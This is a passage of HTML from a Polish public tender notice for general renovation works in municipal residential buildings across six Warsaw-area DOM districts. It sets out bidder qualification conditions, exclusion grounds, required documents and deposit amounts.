przypadku włączenia do robót wchodzących w zakres przedmiotu zamówienia budynków nowo oddanych do administrowania ZGN lub nie ujętych w zestawieniu stanowiącym załącznik Rozdział IVA, IVB, IVC SIWZ - Wykaz budynków, itp. oraz w przypadku powtórzenia podobnych robót, w budynkach o których mowa w zdaniu poprzednim oraz w przypadku konieczności wykonania zamówień podobnych we wszystkich budynkach objętych zamówieniem, w okresie 3 lat od udzielenia zamówienia podstawowego. Wartość w/w powtórzonych podobnych robót nie przekroczy 50 % wartości zamówienia podstawowego tj. kwoty 510.000,00 z VAT. Zamawiający dokonywać będzie podziału w/w kwoty pomiędzy działy obsługi mieszkańców (DOM) wg. potrzeb i posiadanych środków.Warunki udzielenia zamówień podobnych: Wykonawca będzie wykonywał zamówienie należycie i bez zbędnej zwłoki, w standardach nie gorszych niż w umowie podstawowej, na warunkach umowy podstawowej. Ceny będą podlegały negocjacji.</span> <br/> <b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b> <br /> miesiącach:&#160; <span id="ctl00_ContentPlaceHolder1_okres_w_miesiacach"></span> &#160;<i> lub </i> <b> dniach:</b> <span id="ctl00_ContentPlaceHolder1_okres_w_dniach"></span> <br /> <i>lub</i> <br /> <b> data rozpoczęcia: </b> <span id="ctl00_ContentPlaceHolder1_data_rozpoczecia">2019-12-01</span> &#160;<i> lub </i><b> zakończenia: </b> <span id="ctl00_ContentPlaceHolder1_data_zakonczenia">2020-11-30</span> <br /> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Okres w miesiącach</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Okres w dniach</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Data rozpoczęcia</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Data zakończenia</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'></TD><TD style='border: 1px solid black;border-collapse: collapse;'></TD><TD style='border: 1px solid black;border-collapse: collapse;'>2019-12-01 </TD><TD style='border: 1px solid black;border-collapse: collapse;'>2020-11-30</TD></TR></TABLE> <br/> <b>II.9) Informacje dodatkowe: </b> <span id="ctl00_ContentPlaceHolder1_informacje_na_temat_katalogow"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b> III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU </b> <br/> <div style="padding-left: 20px"> <b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_okreslenie_warunkow"></span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_okreslenie_warunkow"></span> <br/> <b>III.1.2) Sytuacja finansowa lub ekonomiczna </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_okreslenie_warunkow">1. W celu wykazania spełnienia warunku posiadania sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia Wykonawca winien wykazać się posiadaniem ubezpieczenia odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia w wysokość sumy gwarancyjnej nie mniejszej niż 100.000,00 zł.2.W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia warunki, o których mowa w pkt. 8.1.2. SIWZ, zostaną spełnione wyłącznie wtedy gdy jeden z Wykonawców będzie posiadał polisę w pełnej wysokości sumy gwarancyjnej wymaganej przez Zamawiającego w pkt. 8.1.2. SIWZ.</span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_informacje_dodatkowe"></span> <br/> <b>III.1.3) Zdolność techniczna lub zawodowa </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_okreslenie_warunkow">W celu wykazania spełnienia warunku zdolności technicznej lub zawodowej zapewniającej wykonanie zamówienia wykonawca winien wykazać, że: 1. wykonał należycie w okresie ostatnich pięciu lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie - 2 roboty budowlane odpowiadające swoim rodzajem przedmiotowi zamówienia tj. wykonał co najmniej 2 roboty budowlane polegające na wykonywaniu robót remontowych w branży ogólnobudowlanej w budynkach mieszkalnych wielorodzinnych lub użyteczności publicznej o łącznej wartości nie mniejszej niż 100.000,00 zł. brutto w ciągu tych lat2. dysponuje osobami do wykonania zamówienia tj. dysponuje osobami z doświadczeniem w robotach: murarsko - tynkarskich, malarskich, ślusarskich, blacharsko-dekarskich, posadzkarskich, stolarsko-szklarskich i kominiarskich zatrudnionymi na podstawie umowy o pracę, w rozumieniu przepisów ustawy z dnia 26 czerwca 1974 r. -Kodeks pracy (Dz. U. z 2019 r., poz. 1040 z późn. zm.).3. dla robót wymagających ustanowienia kierownika robót Wykonawca zapewni osobę posiadającą uprawnienia budowlane wymagane ustawą prawo budowlane, - do kierowania robotami budowlanymi, a w przypadku przeglądów do kontrolowania i oceny stanu technicznego elementów konstrukcyjnych w specjalności konstrukcyjno-budowlanej w zakresie niezbędnym do realizacji przedmiotu zamówienia lub odpowiedni dokument stwierdzający przygotowanie zawodowe do wykonywani powyższych czynności.4. zapewni całodobowy dyżur i całodobowe usługi pogotowia pod numerem telefonu, na który będą mogły być całodobowo zgłaszane przestoje i usterki budowlane w trakcie realizacji umowy zawartej w wyniku rozstrzygnięcia niniejszego postępowania. 5.W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia warunki, o których mowa w pkt. 8.1.3.1. SIWZ, zostaną spełnione wyłącznie wtedy gdy jeden z Wykonawców wykaże się wykonaniem wszystkich wymaganych robót budowlanych, zgodnie z postanowieniem pkt. 8.1.3.1. SIWZ samodzielnie. Za spełnienie warunku nie będzie uznane wykazanie, że np. ,,Wykonawca A" wykonał roboty budowlane o wartości 50.000 zł i ,,Wykonawca B" wykonał roboty budowlane o wartości 50.000 zł.</span> <br/> Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób: <span id="ctl00_ContentPlaceHolder1_czy_zdolnosc_techniczna_wymaga_wykonawcow">Tak</span> <br/> Informacje dodatkowe: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_informacje_dodatkowe"></span> </div> <b> III.2) PODSTAWY WYKLUCZENIA </b> <br/> <div style="padding-left: 20px"> <b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1 ustawy Pzp</b> <br/> <b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b> <span id="ctl00_ContentPlaceHolder1_czy_zamawiajacy_przewiduje_wykluczenie">Tak</span> Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia: <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_1">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 1 ustawy Pzp)</span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_2">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 2 ustawy Pzp)</span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_3"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_4">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 4 ustawy Pzp)</span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_5"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_6"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_7"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_8"></span> <br/> </div> <b> III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI </b> <br/> <div style="padding-left: 20px"> <b> Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_niepodleganiu_wykluczenia">Tak</span> <br/> <b> Oświadczenie o spełnianiu kryteriów selekcji </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_spelnienie_kryteriow">Nie</span> </div> <b> III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP: </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_dokumentow_zaswiadczen">1. odpisu z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu potwierdzenia braku podstaw wykluczenia na podstawie art. 24 ust. 5 pkt. 1, 2, 4 ustawy. Dokument ten ma być złożony dla Wykonawcy, Wykonawców wspólnie ubiegających się o udzielenie zamówienia, podwykonawców i innych podmiotów na zdolnościach których lub ich sytuacji polega Wykonawca.UWAGA: W przypadku wskazania przez wykonawcę dostępności oświadczeń lub dokumentów, o których mowa w pkt. 9.3.5. i 9.6. SIWZ w formie elektronicznej pod określonymi adresami internetowymi ogólnodostępnych i bezpłatnych baz danych, zamawiający pobiera samodzielnie z tych baz danych wskazane przez wykonawcę oświadczenia lub dokumenty.2.tłumaczeń na język polski dokumentów znajdujących się w zagranicznych bezpłatnych bazach danych wskazanych przez Wykonawcę;</span> </div> <b> III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_warunkow_udzialu">Zgodnie z art. 26 ust. 2 ustawy Zamawiający przed udzieleniem zamówienia, wezwie wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym, nie krótszym niż 5 dni, terminie aktualnych na dzień złożenia następujących oświadczeń lub dokumentów potwierdzających spełnianie warunków udziału w postępowaniu oraz oświadczeń i dokumentów potwierdzających brak podstaw do wykluczenia z postępowania, a ponadto innych oświadczeń lub dokumentów lub zobowiązań niezbędnych dla prawidłowej oceny złożonej oferty wynikające z jej treści i z treści SIWZ:1. wykazu robót, o których mowa w pkt. 8.1.2.1. SIWZ (wg wzoru stanowiącego załącznik do materiałów przetargowych) wykonanych w okresie ostatnich pięciu lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie - wraz z podaniem ich rodzaju, wartości, daty, miejsca wykonania i podmiotów na rzecz których roboty te zostały wykonane, z załączeniem dowodów określających czy te roboty budowlane zostały wykonane należycie w szczególności informacji o tym czy roboty zostały wykonane zgodnie z przepisami prawa budowlanego i prawidłowo ukończone, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty wystawione przez podmiot, na rzecz którego roboty były wykonywane, a jeżeli z uzasadnionej przyczyny o obiektywnym charakterze wykonawca nie jest w stanie uzyskać tych dokumentów -inne dokumenty,Do wykazu robót Wykonawca powinien dołączyć informację, czy roboty wymienione w wykazie robót wykonał sam czy potwierdzają wiedzę i doświadczenie innego podmiotu, którego zobowiązanie do udostępnienia wiedzy i doświadczenia winien załączyć wraz ze zobowiązaniem do jego udziału w wykonaniu części zamówienia.2. wykazu osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, o których mowa w pkt. 8.1.2.2 SIWZ, wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami (wg wzoru stanowiącego załącznik do materiałów przetargowych).W przypadku, gdy Wykonawca polega na osobach zdolnych do wykonania zamówienia innych podmiotów niezależnie od charakteru łączących go z nimi stosunków, do wykazu załącza pisemne zobowiązanie innych podmiotów do oddania Wykonawcy, do dyspozycji niezbędnych osób na okres korzystania z nich przy wykonaniu zamówienia.3. wykaz osób - oświadczenie dotyczące kierownika robót - skierowanego przez wykonawcę do realizacji zamówienia publicznego, o którym mowa w pkt. 8.1.2.3. SIWZ (wg wzoru stanowiącego załącznik do materiałów przetargowych) odpowiedzialnego za kierowanie robotami budowlanymi, wraz z informacjami na temat jego kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia oraz informacji o podstawie do dysponowania tą osobą. 4. dokumentów potwierdzających, że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia na sumę gwarancyjną określoną przez zamawiającego w pkt. 8.1.1. SIWZ.5. odpisu z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu potwierdzenia braku podstaw wykluczenia na podstawie art. 24 ust. 5 pkt. 1, 2, 4 ustawy. Dokument ten ma być złożony dla Wykonawcy, Wykonawców wspólnie ubiegających się o udzielenie zamówienia, podwykonawców i innych podmiotów na zdolnościach których lub ich sytuacji polega Wykonawca.UWAGA: W przypadku wskazania przez wykonawcę dostępności oświadczeń lub dokumentów, o których mowa w pkt. 9.3.5. i 9.6. SIWZ w formie elektronicznej pod określonymi adresami internetowymi ogólnodostępnych i bezpłatnych baz danych, zamawiający pobiera samodzielnie z tych baz danych wskazane przez wykonawcę oświadczenia lub dokumenty.6. oświadczenia wykonawcy o braku orzeczenia wobec niego tytułem środka zapobiegawczego zakazu ubiegania się o zamówienia publiczne;7.	oświadczenia Wykonawcy, że nie zalega z opłacaniem podatków i opłat lokalnych, o których mowa w ustawie z dnia 12 stycznia 1991 r. o podatkach i opłatach lokalnych (Dz. U. z 2016 r. poz. 716.);8. oświadczenia wykonawcy o braku wydania wobec niego prawomocnego wyroku sądu lub ostatecznej decyzji administracyjnej o zaleganiu z uiszczaniem podatków, opłat lub składek na ubezpieczenia społeczne lub zdrowotne albo - w przypadku wydania takiego wyroku lub decyzji - dokumentów potwierdzających dokonanie płatności tych należności wraz z ewentualnymi odsetkami lub grzywnami lub zawarcie wiążącego porozumienia w sprawie spłat tych należności;9.	tłumaczeń na język polski dokumentów znajdujących się w zagranicznych bezpłatnych bazach danych wskazanych przez Wykonawcę;10.	informacji o części zamówienia, którą wykonawca zamierza powierzyć podwykonawcy, w przypadku gdy wykonawca zamierza powierzyć podwykonawcy realizacji części zamówienia - wg wzoru stanowiącego załącznik do materiałów przetargowych,11. w przypadku, gdy Wykonawca polega na zdolnościach lub sytuacji innych podmiotów dokument - oryginał pisemnego zobowiązania innych podmiotów - potwierdzający, że Wykonawca będzie dysponował niezbędnymi zasobami w stopniu umożliwiającym należyte wykonanie zamówienia publicznego oraz że stosunek łączący Wykonawcę z tymi podmiotami gwarantuje rzeczywisty dostęp do ich zasobów.Powyższy dokument na załączniku (wg wzoru stanowiącego załącznik do materiałów przetargowych), powinien zawierać informacje dotyczące w szczególności:11.1. zakresu dostępnych Wykonawcy zasobów innego podmiotu,11.2. sposobu wykorzystania zasobów innego podmiotu, przez Wykonawcę, przy wykonaniu zamówienia,11.3. zakresu i okresu udziału innego podmiotu przy wykonywaniu zamówienia.12. inne oświadczenia lub dokumenty lub zobowiązania niezbędne dla prawidłowej oceny złożonej oferty wynikające z jej treści i z treści SIWZ; </span> <br/> <b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_kryteriow_selekcji"></span> </div> <b> III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_potwierdzenie_okolicznosci">Zgodnie z art. 26 ust. 2 ustawy Zamawiający przed udzieleniem zamówienia, wezwie wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym, nie krótszym niż 5 dni, terminie aktualnych na dzień złożenia następujących oświadczeń lub dokumentów potwierdzających spełnianie warunków udziału w postępowaniu oraz oświadczeń i dokumentów potwierdzających brak podstaw do wykluczenia z postępowania, a ponadto innych oświadczeń lub dokumentów lub zobowiązań niezbędnych dla prawidłowej oceny złożonej oferty wynikające z jej treści i z treści SIWZ:1. wykazu robót, o których mowa w pkt. 8.1.2.1. SIWZ (wg wzoru stanowiącego załącznik do materiałów przetargowych) wykonanych w okresie ostatnich pięciu lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie - wraz z podaniem ich rodzaju, wartości, daty, miejsca wykonania i podmiotów na rzecz których roboty te zostały wykonane, z załączeniem dowodów określających czy te roboty budowlane zostały wykonane należycie w szczególności informacji o tym czy roboty zostały wykonane zgodnie z przepisami prawa budowlanego i prawidłowo ukończone, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty wystawione przez podmiot, na rzecz którego roboty były wykonywane, a jeżeli z uzasadnionej przyczyny o obiektywnym charakterze wykonawca nie jest w stanie uzyskać tych dokumentów -inne dokumenty,Do wykazu robót Wykonawca powinien dołączyć informację, czy roboty wymienione w wykazie robót wykonał sam czy potwierdzają wiedzę i doświadczenie innego podmiotu, którego zobowiązanie do udostępnienia wiedzy i doświadczenia winien załączyć wraz ze zobowiązaniem do jego udziału w wykonaniu części zamówienia.2. wykazu osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, o których mowa w pkt. 8.1.2.2 SIWZ, wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami (wg wzoru stanowiącego załącznik do materiałów przetargowych).W przypadku, gdy Wykonawca polega na osobach zdolnych do wykonania zamówienia innych podmiotów niezależnie od charakteru łączących go z nimi stosunków, do wykazu załącza pisemne zobowiązanie innych podmiotów do oddania Wykonawcy, do dyspozycji niezbędnych osób na okres korzystania z nich przy wykonaniu zamówienia.3. wykaz osób - oświadczenie dotyczące kierownika robót - skierowanego przez wykonawcę do realizacji zamówienia publicznego, o którym mowa w pkt. 8.1.2.3. SIWZ (wg wzoru stanowiącego załącznik do materiałów przetargowych) odpowiedzialnego za kierowanie robotami budowlanymi, wraz z informacjami na temat jego kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia oraz informacji o podstawie do dysponowania tą osobą. 4. dokumentów potwierdzających, że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia na sumę gwarancyjną określoną przez zamawiającego w pkt. 8.1.1. SIWZ.5. odpisu z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu potwierdzenia braku podstaw wykluczenia na podstawie art. 24 ust. 5 pkt. 1, 2, 4 ustawy. Dokument ten ma być złożony dla Wykonawcy, Wykonawców wspólnie ubiegających się o udzielenie zamówienia, podwykonawców i innych podmiotów na zdolnościach których lub ich sytuacji polega Wykonawca.UWAGA: W przypadku wskazania przez wykonawcę dostępności oświadczeń lub dokumentów, o których mowa w pkt. 9.3.5. i 9.6. SIWZ w formie elektronicznej pod określonymi adresami internetowymi ogólnodostępnych i bezpłatnych baz danych, zamawiający pobiera samodzielnie z tych baz danych wskazane przez wykonawcę oświadczenia lub dokumenty.6. oświadczenia wykonawcy o braku orzeczenia wobec niego tytułem środka zapobiegawczego zakazu ubiegania się o zamówienia publiczne;7.	oświadczenia Wykonawcy, że nie zalega z opłacaniem podatków i opłat lokalnych, o których mowa w ustawie z dnia 12 stycznia 1991 r. o podatkach i opłatach lokalnych (Dz. U. z 2016 r. poz. 716.);8. oświadczenia wykonawcy o braku wydania wobec niego prawomocnego wyroku sądu lub ostatecznej decyzji administracyjnej o zaleganiu z uiszczaniem podatków, opłat lub składek na ubezpieczenia społeczne lub zdrowotne albo - w przypadku wydania takiego wyroku lub decyzji - dokumentów potwierdzających dokonanie płatności tych należności wraz z ewentualnymi odsetkami lub grzywnami lub zawarcie wiążącego porozumienia w sprawie spłat tych należności;9.	tłumaczeń na język polski dokumentów znajdujących się w zagranicznych bezpłatnych bazach danych wskazanych przez Wykonawcę;10.	informacji o części zamówienia, którą wykonawca zamierza powierzyć podwykonawcy, w przypadku gdy wykonawca zamierza powierzyć podwykonawcy realizacji części zamówienia - wg wzoru stanowiącego załącznik do materiałów przetargowych,11. w przypadku, gdy Wykonawca polega na zdolnościach lub sytuacji innych podmiotów dokument - oryginał pisemnego zobowiązania innych podmiotów - potwierdzający, że Wykonawca będzie dysponował niezbędnymi zasobami w stopniu umożliwiającym należyte wykonanie zamówienia publicznego oraz że stosunek łączący Wykonawcę z tymi podmiotami gwarantuje rzeczywisty dostęp do ich zasobów.Powyższy dokument na załączniku (wg wzoru stanowiącego załącznik do materiałów przetargowych), powinien zawierać informacje dotyczące w szczególności:11.1. zakresu dostępnych Wykonawcy zasobów innego podmiotu,11.2. sposobu wykorzystania zasobów innego podmiotu, przez Wykonawcę, przy wykonaniu zamówienia,11.3. zakresu i okresu udziału innego podmiotu przy wykonywaniu zamówienia.12. inne oświadczenia lub dokumenty lub zobowiązania niezbędne dla prawidłowej oceny złożonej oferty wynikające z jej treści i z treści SIWZ; </span> </div> <b> III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6) </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_inne_dokumenty_niewymienione"> Oferta powinna się składać z:1. wypełnionego i podpisanego formularza oferty częściowej zgodnego w treści ze wzorem stanowiącym Rozdział II specyfikacji istotnych warunków zamówienia, oraz kosztorysu ofertowego podpisanego (parafowanego) przez Wykonawcę na każdej stronie - oddzielnie dla każdej części dla której wykonawca składa ofertę częściową,2. wypełnionego i podpisanego przez Wykonawcę WYKAZU BUDYNKÓW gminnych zarządzanych i administrowanych przez DOM, zgodnego w treści ze wzorem stanowiącym Rozdział IVA siwz - wypełnionego zgodnie z zapisem pkt. 3.10. i 16.4. niniejszej SIWZ oraz podpisanych Wykazów budynków zgodnych w treści ze wzorami stanowiącymi ROZDZIAŁY IV B i IV C siwz - oddzielnie dla każdej części dla której wykonawca składa ofertę częściową , 3. aktualnych na dzień składania ofert oświadczeń w zakresie wskazanym w załączniku nr 2 i 3 do wzoru Formularza oferty częściowej- Rozdział II SIWZ. Informacje zawarte w oświadczeniach będą stanowić wstępne potwierdzenie, że wykonawca nie podlega wykluczeniu oraz spełnia warunki udziału w postępowaniu.4. dokumentu zawierającego dane aktualne na dzień składania ofert potwierdzającego, że oferta została podpisana przez osobę upoważnioną do reprezentowania Wykonawcy, w przypadku gdy oferta została podpisana przez inną osobę niż umocowana w dokumencie rejestrowym Wykonawcy (np. pełnomocnictwo, umowa spółki cywilnej) -oddzielnie dla każdej części dla której wykonawca składa ofertę częściową.5. pełnomocnictwa - jeżeli oferta jest złożona przez Wykonawców występujących wspólnie, o których mowa w pkt. 8.2. SIWZ -oddzielnie dla każdej części dla której wykonawca składa ofertę częściową..6.	informacji określonej w pkt. 16.1.2. SIWZ w przypadku zastosowania przez wykonawcę innej niż odpowiednio 8 % i 23 %stawki podatku od towarów i usług,7. dokumentu gwarancyjnego zgodnego w treści ze wzorem do wzoru Formularza oferty częściowej na załączniku nr 4 do oferty, 8. oświadczenia Wykonawcy zawierającego informację, czy złożona oferta będzie powodowała powstanie obowiązku podatkowego po stronie Zamawiającego, a jeżeli tak, to udzielenie informacji w zakresie określonym w art. 91 ust. 3a ustawy na załączniku nr 5 do oferty. 9. dowodów, o których mowa w pkt. 14.9. SIWZ, w przypadku, gdy oferta zawiera informacje stanowiące tajemnicę przedsiębiorstwa,10. dowodu wniesienia wadium w formie pieniężnej lub oryginału potwierdzenia wniesienia wadium w formie innej niż pieniężnej, a dopuszczalnej zgodnie z pkt. 12 SIWZ - oddzielnie dla każdej części dla której wykonawca składa ofertę częściową.UWAGA:W terminie 3 dni od dnia przekazania (zamieszczenia na stronie internetowej) informacji z otwarcia ofert, Wykonawca zobowiązany jest przekazać Zamawiającemu (bez wezwania)oświadczenie o przynależności lub braku przynależności do tej samej grupy kapitałowej o której mowa w art. 24 ust. 1 pkt. 23 ustawy - wg wzoru określonego w załączniku do materiałów przetargowych. Wraz z przedstawieniem oświadczenia Wykonawca może przedstawić dowody, że powiązania z innym Wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu o udzielenie zamówienia publicznego.</span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA IV: PROCEDURA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>IV.1) OPIS </b> <br/> <b>IV.1.1) Tryb udzielenia zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_tryb_udzielenia_zamowienia">Przetarg nieograniczony</span> <br/> <b>IV.1.2) Zamawiający żąda wniesienia wadium:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wadium">Tak</span> <br/> Informacja na temat wadium <br/> <span id="ctl00_ContentPlaceHolder1_wadium"> dla części I: DOM Służewiec - 1.480,00 zł. dla części II: DOM Wierzbno - 1.620,00 zł. dla części III: DOM Wiśniowa - 1.660,00 zł. dla części IV: DOM Madalińskiego -1.380,00 zł. dla części V: DOM Konduktorska- 1.570,00 zł. dla części VI : DOM Polkowska - 1.840,00 zł. </span> </div> <br/> <b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zaliczek">Nie</span> <br/> Należy podać informacje na temat udzielania zaliczek: <br/> <span id="ctl00_ContentPlaceHolder1_przewiduje_udzielenie_zaliczek"></span> </div> <br/> <b> IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_zlozenie_katalogow_elektronicznych_informacje_dodatkowe"></span> </div> <br/> <b> IV.1.5.) Wymaga się złożenia oferty wariantowej: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_oferty_wariantowej"></span> <br/> Dopuszcza się złożenie oferty wariantowej <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej"></span> <br/> Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej_zasadniczej"></span> </div> <br/> <b> IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu </b> <br/> <i> (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne) </i> <div style="padding-left: 20px"> Liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_liczba_wykonawcow"></span> <br/> Przewidywana minimalna liczba wykonawców <span id="ctl00_ContentPlaceHolder1_minimalna_liczba_wykonawcow"></span> <br/> Maksymalna liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_wykonawcow"></span> <br/> Kryteria selekcji wykonawców: <br/> <span id="ctl00_ContentPlaceHolder1_znaczenie_warunkow_wykonawcow"></span> </div> <br/> <b> IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów: </b> <div style="padding-left: 20px"> Umowa ramowa będzie zawarta: <br/> <span id="ctl00_ContentPlaceHolder1_z_kim_umowa_bedzie_zawarta"></span> <br/> Czy przewiduje się ograniczenie liczby uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_ograniczenie_liczby_uczestnikow"></span> <br/> Przewidziana maksymalna liczba uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow_informacje_dodatkowe"></span> <br/> Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów: <br/> <span 